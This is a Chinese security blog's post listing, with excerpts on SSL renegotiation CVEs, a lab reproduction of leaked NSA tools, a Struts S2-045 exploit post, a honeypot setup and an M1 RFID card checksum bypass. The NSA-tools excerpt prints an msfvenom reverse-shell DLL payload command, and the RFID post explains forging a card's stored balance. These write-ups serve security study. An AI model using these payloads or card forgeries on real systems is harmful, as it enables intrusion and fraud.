SSL Renegotiation中的Secure Renegotiation与Client-initiated Renegotiation问题

SSL Renegotiation是SSL的一个机制,主要用于对使用的加密算法、密钥进行重协商,SSL Renegotiation主要用于三个场景。 场景一:双向认证时要求客户证书。在理想情况下,服务器在第一次和客户端握手时将会要求客户端提供证书,但实际情况下,由于种种原因,客户证书仅在必要时(如重要操作等)才会被请求,所以没有在第一次握手时请求客户端证书但在后续需要提供证书时,服务器将会发起Renegotiation。 场景二:服务器使用了不同的加密算法。在某些情况下,服务器可能对不同的资源采取不同的加密算法,当客户端请求的资源被不同的算法加密保护时,服务器将会发起Renegotiation。 场景三:客户端主动发起Renegotiation。 总得来说,SSL Renegotiation是一个使用不太频繁但却在某些场景发生重大作用的一个机制,同时这个机制由于历史原因和客观原因,成为一个经常被发现存在漏洞的机制。CVE-2011-1473   SSL Renegotiation DoS和 CVE-2009-3555   SSL Renegotiation vulnerability就是SSL Renegotiation中的两个漏洞,如工作上的一个case,同事的反馈将这两个弄混了,导致在后期处理时出现了诸多不畅。 CVE-2009-3555是SSL协议设计考虑不周导致的一个漏洞,利用这个漏洞能够在受保护的TLS/SSL连接上引入信息,从而发送流量来欺骗经验证的客户端,造成中间人攻击。openssl对于CVE-2009-3555的修复方式是推出了基于RFC5746的修复方式,即Secure Renegotiation的方式。 CVE-2009-3555需要升级openssl来进行修复,openssl-0.98m之后的版本就已经修复了该漏洞,使用了Secure Renegotiation。 可以通过 openssl s_client –connect IP:port的方式来进行检查,在输出中如果存在 Secure Renegotiation IS supported则可以确认该漏洞已经修复。 CVE-2011-1473 是由于SSL协议的客观因素引起的。因为服务器在进行密钥的计算时,其消耗的计算资源是客户端的数十倍,所以如果可以允许客户端主动发起Renegotiation,那么将可以造成DoS攻击。 当然,由于计算资源对比的这一特性,即便不开启Renegotiation,客户端不断发起大量的SSL连接也会造成服务器大量的计算,同样也可以造成DoS攻击。 CVE-2011-1473的修复方式就是禁用SSL Renegotiation的Client-initiated Renegotiation。在这个漏洞的修复上,对于Apache而言,基本上所有的说法都是升级到Apache 2.2.15 及其以后集成openssl的版本,并且配置 SSLInsecureRenegotiation off选项。如某厂扫描器的报告所言: 但是在实际测试中,发现了奇怪的问题。 SSLInsecureRenegotiaton 为 on 或者 off 都不影响Client-initiated Renegotiation被关闭的结果。使用thc-ssl-dos进行测试,一直都提示 Target has disabled renegotiations。 通过查看Apache给到的官方文档(http://httpd.apache.org/docs/2.2/mod/mod_ssl.html#sslinsecurerenegotiation), SSLInsecureRenegotiation只是用来打开或者关闭SecureRenegotiation,并没有说明其可以用来打开或者关闭Client-initiated Renegotiation。 同时,在stackoverflow中一个歪果仁也提出过这个问题,在回复中看到有如下回复“I […]

awk除去重复行

awk去除重复行,思路是以每一行的$0为key,创建一个hash数组,后续碰到的行,如果数组里已经有了,就不再print了,否则将其print

  0 0

python实现sift算法提取两张图片的共同特征

一、环境 1、python 2.7 (Anaconda2 64位) 2、opencv 2.4.9 点我下载 下载后,针对系统的位数将对应文件夹中的cv2.pyd拷贝到对应Anaconda的安装目录(Anaconda2\Lib\site-packages)文件夹中。 二、python实现找出两张图的共同特征

效果图如下(连接线为共同特征): 0 0

疑似优酷被黑,2016年的数据库泄露

在dark_net中售卖,仅售$300,换成人民币2k(这么便宜?) 以下为提供的样本,怎么会是md5加密的呢?

0 1

ShadowBroker释放的NSA工具部分复现和检查方法

工具下载: 1、Python2.6和pywin32安装包(注意都是32位的,不然会导致调用dll payload文件失败): 复现python和pywin32安装包 2、shadowbroker放出的nsa攻击工具 https://github.com/misterch0c/shadowbroker 3、中招检查工具 中招检查工具 注:检查工具已重写了(各有所需,你可以根据自己需要修改)   一、 漏洞复现 1.    前期准备 攻击系统信息列表如下: IP 系统信息 用途 备注 192.168.0.102 Windows 7旗舰版 攻击机器 需安装python2.6.6&pywin32 192.168.0.103 Kali linux 2 用于生成攻击payload(反弹shell等)和控制反弹的shell会话 生成reverse shell 的dll 192.168.0.104 Windows xp p3 靶机 开启SMB服务,445端口(默认开启)   在攻击机器中安装好python 2.6.6和pywin32,并设置好python的环境变量,以便我们在cmd中使用。 然后生成用于反弹shell的dll payload: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.104 LPORT=8089 -f dll > reverser_tcp.dll 在靶机上开启SMB服务(默认开启),查看服务是否生效,即看靶机上的445端口是否在监听(netstat -ano): 2.    […]

Python生成16位和32位Md5

2 1

Ubuntu 16.04 安装jdk

Ubuntu 16.04 安装jdk 准备工作 安装版本:jdk-8u91-linux-x64.tar.gz 官方下载 创建目录作为JDK的安装目录,这里选择安装位置为:/usr/java/

解压文件带/usr/java/目录下,cd到文件下载的位置

改名jdk-8u90-linux-x64为jdk,便于配置环境变量

配置系统环境变量 打开环境变量文件

填写内容,注意加粗部分

配置所有用户环境变量 打开用户环境变量配置文件

填写内容

设置默认jdk

检验安装成功

1 1

S2-045-poc & exp

分享自安全脉搏–冷啊寂, EXP: EXP文件链接–》》s2_045 使用方法:python xx.py +对应的链接 如:python s2_045.py http://www.xxx.cn/_web/search/doSearch.do

  POC重写by lazynms

下面也可以用,可能会存在误报。

8 12

Centos 7.2 部署BeeSwarm蜜罐

0x1 替换阿里源

0x2 安装依赖

0x3 安装BeeSwarm

BeeSwarm蜜罐禁止root运行,添加个普通用户运行就行了。 1 0

RFID之一次M1卡有趣的校验之旅

作者:lazynms 时间:2015.11.11 免责声明:本文提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负! 其实RFID的M1卡破解文章现在网上都是烂大街了,没什么特别吸引之处,本文也是一样,就也是分享下有趣的一次校验解密作为经验分享给大家作为以后的一种思路。 0x01 参考 http://drops.wooyun.org/tips/3168 http://drops.wooyun.org/tips/2065 http://bobylive.com/static/1614 http://bobylive.com/static/1493   常见攻击方式 常用的攻击行为有以下几种: 1、截取信道中的信息:通过非法设备以及相关技术手段读取IC卡中存储的数据信息以及在IC卡与读卡器进行操作时截取数据交换信息。 2、破译IC卡中的信息:攻击者在采用上述两种方式截获数据信息后,根据IC卡中数据信息的变化情况以及数据交换过程中数据流的变化,对数据进行分析,从而确认IC卡中所有数据的含义以及数据流的变化规则,完成对IC卡中数据信息的破译,进而达到非法改变数据信息的目的。 3、复制IC卡中的数据信息:攻击者在截获数据信息后,并不对数据进行分析破译,而是记录在特定操作中数据流的变化情况,在需要时,将记录的数据流直接复制发送到IC卡,从而达到非法改变数据信息的目的。这种情况经常发生在当IC卡与读卡器之间进行数据交换采用加密处理的时候。 0x02 前奏 开始玩耍之前,还是得说下具体步骤,充钱->刷->再刷->对比(不行,再刷,三次对比),然后转换- >修改->刷,这一切都得看“运气”,不同的厂家在设计其设备就已经设计校验和dump数据限制。建议可以先购个uid卡,把dump下来的文件写入到uid卡中,最后再进行测试,否则玩坏了卡,可别抱着我的大腿哭… 0x03 过程 通过dump下来的文件对比分析: 看着这数据,胡乱联想之间的关系是不行的,会晕,得多转换为其他表现方式(加密解密也只不过是其表现形式变化罢了),经过一阵转换,才找到其中的关系。 我们罗列下两次变化:

通过两次核对,校验问题显而易见,第一步是00和01单元是对02和03单元也就是金额部分进行两次校验,然后第二步再用05单元和06单元对第一步的校验码进行取反和加一验证(有点两步验证的校验,然而只是在同一维度中校验并没有什么用…),既然分析好了就将一组测试数据写入IC卡进行测试:

结果: 0x04 小见解 回过头来认真想了下,首先得出厂家的角度分析,厂家基本都只考虑这两点,一个是成本低,二个是能用。然后对于为何大多厂家都使用这种基本的运算,我想应该是这样的: 涉及都是最简单的算术运算和逻辑运算,成本低,自然受大家喜欢(暗喜 ) 0x05 防护性分析 目前大多数使用的IC卡使用的是电可擦除数据存储芯片(EEPROM),使用的是电可擦除数据存储芯片(EEPROM)。IC卡根据对EEPROM读写处理方式的不同,可以分为存储卡、逻辑加密卡以及智能卡(CPU卡)三大类,它们具有不同的数据保护安全级别。 1、存储卡:存储卡是直接将EEPROM芯片封装在卡片上,外部设备可以直接访问到EEPROM中的任何一个单元。由于存储卡中只有EEPROM一个芯片,因此IC卡的对外接口实际上就是EEPROM的对外接口,这样外部读写设备就可以十分方便地对EEPROM进行数据读写操作,作为IC卡而言,无法对合法或非法的读写设备进行判断和识别,非常容易进行攻击。存储卡只是用来对数据进行存储,而无法对数据进行安全性保护,因此存储卡不具备数据安全性保护措施,数据安全级别很低。 2、逻辑加密卡:逻辑加密卡是在将EEPROM芯片封装在卡片上的同时,将一组硬件逻辑电路也封装在卡片上,外部读写设备必须通过硬件逻辑电路的判断后才能访问到EEPROM中的任何一个单元。由于在IC卡中存在一组硬件逻辑加密电路,EEPROM芯片的接口并不直接对外,在初始状态IC卡芯片中的数据开关处于断开状态。外部读写设备在访问IC卡芯片中的EEPROM单元之前,必须首先发一组数据给硬件逻辑电路,硬件逻辑电路在判断数据的合法性后(即密码校验),才决定是否将IC卡内的开关闭合。只有密码校验正确后,硬件逻辑电路才能将开关闭合,这时外部读写设备才能对EEPROM中的数据进行读写操作,这样逻辑加密卡就可以对外部合法和非法的读写设备进行识别判断。通过这种方式,逻辑加密卡对内部EEPROM中的数据进行了安全性保护,因此逻辑加密卡具备数据安全性保护措施。但逻辑加密卡的安全性级别并不是很高,有两种攻击方式可以对其进行攻击测试,一种是当合法读写设备在发送数据进行密码校验时,非法设备可以跟踪到校验密码,这样今后非法设备通过重放也可以通过密码校验,从而对逻辑加密卡进行数据攻击;另一种方法是非法设备在跟踪到合法设备已经通过逻辑加密卡的密码校验,IC卡内部开关闭合后,再通过数据线对逻辑加密卡中EEPROM的数据进行攻击破坏。因此逻辑加密卡虽然具备一定的数据安全性保护,但它的安全级别依然较低,具备一定的手段仍然是可以攻破的。造成这种情况出现的原因是因为逻辑加密卡中的安全性是依赖一组硬件逻辑电路,这种电路只有判断能力,但不具备分析处理能力,因此不能及时发现和处理变化的环境。 3、智能卡(CPU卡):智能卡是在将EEPROM芯片封装在卡片上的同时,将微处理器芯片(CPU)也封装在卡片上,外部读写设备只能通过CPU与IC卡内的EEPROM进行数据交换,在任何情况下都不能再访问到EEPROM中的任何一个单元。由于在智能卡中封装了微处理器芯片(CPU),这样EEPROM的数据接口在任何情况下都不会与IC卡的对外数据线相连接。外部读写设备在与智能卡进行数据交换时,首先必须发指令给CPU,由CPU根据其内部ROM中存储的卡片操作系统(COS)对指令进行解释,并进行分析判断,在确认读写设备的合法性后,允许外部读写设备与智能卡建立连接。之后的数据操作仍然要由外部读写设备发出相应的指令,并且CPU对指令进行正确解释后,允许外部读写设备和智能卡中的数据存储区(RAM)进行数据交换,数据交换成功后,在CPU的控制下,利用智能卡中的内部数据总线,再将内部RAM中的数据与EEPROM中的数据进行交换。可以看到,在数据处理过程中,外部读写设备只是和CPU打交道,同时数据交换也只能和数据缓存区RAM进行,根本无法实现对智能卡中EEPROM数据的直接访问。这样就实现了对智能卡EEPROM中数据的安全保护,因此智能卡也具备数据安全性保护措施。与逻辑加密卡相比,由于智能卡内部具有CPU芯片,在具有数据判断能力的同时,也具备了数据分析处理能力,因此智能卡可以随时区别合法和非法读写设备,并且由于有了CPU芯片,具备数据运算能力,还可以对数据进行加密解密处理,因此具备非常高的安全性,其安全级别很高。从对攻击方式的分析可以看到,保证IC卡内数据的安全性是最基本的要求,如果非法设备可以容易地与IC卡进行数据信息交换,进而进行分析处理,IC卡系统就不再具备任何安全性。因此提高IC卡的安全性是设计好的IC卡系统的关键。从发展趋势看,应尽量选用智能卡作为IC卡系统的信息传递的介质。在设计实际的IC卡系统时,安全性的指标也是相对而言的。如果设计的是单机版的管理系统,对安全性的要求不高,为简化设计和降低成本,可以选用逻辑加密卡或存储卡;但如果是行业管理部门或在大中城市推广的智能卡管理系统,数据的安全性将是一个非常重要的指标,应该首先选择智能卡作为管理系统的数据信息载体。 0x06 后续 之所以写本文,是因为测试的另外一样东西的时候发现就算后端有数据库进行校验,然而并没有什么用…依旧能bypass… 未完待续… 1 0